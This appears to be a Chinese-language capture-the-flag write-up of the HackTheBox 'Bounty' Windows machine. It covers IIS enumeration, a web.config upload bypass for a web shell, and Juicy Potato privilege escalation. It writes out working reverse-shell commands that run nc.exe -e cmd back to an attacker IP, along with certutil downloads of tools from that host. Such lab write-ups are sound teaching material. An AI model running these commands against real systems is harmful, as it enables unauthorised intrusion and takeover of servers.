> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md). # Bounty HackTheBox 复盘 {% embed url="" %} {% hint style="warning" %} **技能：** * IIS 枚举和目录模糊测试 * IIS `web.config` 上传绕过和 Web Shell 执行 * 通过 SMB 的 Windows 反向 Shell * `SeImpersonatePrivilege` 使用 Juicy Potato 提权 {% endhint %} ## 侦察 为这台机器创建一个工作区。
TTL 为 `128` 表明目标很可能是一台 Windows 机器。
### 端口扫描 {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts ``` {% endcode %} 端口 `80` 已开放。
详细扫描 Web 服务。 {% code overflow="wrap" %} ```bash nmap -sCV -p80 10.129.6.49 -oN targeted ``` {% endcode %} 扫描识别出 Microsoft IIS HTTPD 7.5。
端口上的页面 `80` 只显示一张图片。
### 目录枚举 对 Web 服务器进行文件和目录模糊测试。 {% code overflow="wrap" %} ```bash gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r ``` {% endcode %} 扫描显示： * transfer.aspx * `uploadedfiles`
`transfer.aspx` 接受文件上传。
一个 `.aspx` 命令 shell 被拒绝，因为其扩展名不被允许。 {% code overflow="wrap" %} ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` {% endcode %}
搜索 `Windows IIS 反向 Shell 的所有文件扩展名`。HackTricks 描述了几个相关的扩展名，包括 `.asp`, `.aspx`, `.config`，以及 `.php`. {% embed url="" %}
该 [IIS web.config 上传绕过](/zh/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) 可通过 `.config` 文件执行。 #### 执行 .config 文件 > 如果应用允许你将 .config 文件上传到已提供服务的目录中，那么 IIS web.config 可能可用于代码执行。一种技术是在 HTML 注释中附加负载：在此下载示例。 > > 关于如何利用此漏洞的更多信息和技巧请见这里\[2] 创建一个 `web.config` 内容如下的文件。 {% code overflow="wrap" %} ```bash ``` {% endcode %} 该 `.config` 文件成功上传。
浏览到 `/uploadedfiles/web.config` 以访问 Web Shell。该文件会在几秒后被删除。
## 初始访问 使用 Web Shell 获取反向 Shell。 在当前目录放置一个可执行的 Netcat： ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` 启动一个 SMB 服务器来共享该文件： ```bash smbserver.py smbFolder $(pwd) -smb2support ``` 将你的机器设为 443 端口的监听器： ```bash sudo rlwrap nc -nvlp 443 ```
从 WebShell 执行反向 Shell 命令： {% code overflow="wrap" %} ```bash //10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443 http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443 ``` {% endcode %} 反向 Shell 成功连接。
获取用户 flag。
## 权限提升 当前用户拥有 `SeImpersonatePrivilege` 权限。 {% code overflow="wrap" %} ```bash whoami /priv ``` {% endcode %}
下载 `JP.exe`. {% embed url="" %} 将它与 Netcat 一起传输到目标机器。 {% code overflow="wrap" %} ```bash certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe ``` {% endcode %}
在端口上启动监听器 `1234`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 1234 ``` {% endcode %} 运行 Juicy Potato 以执行 `cmd.exe` 作为 `SYSTEM`. {% code overflow="wrap" %} ```bash .\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234" ``` {% endcode %}
获取 root flag。
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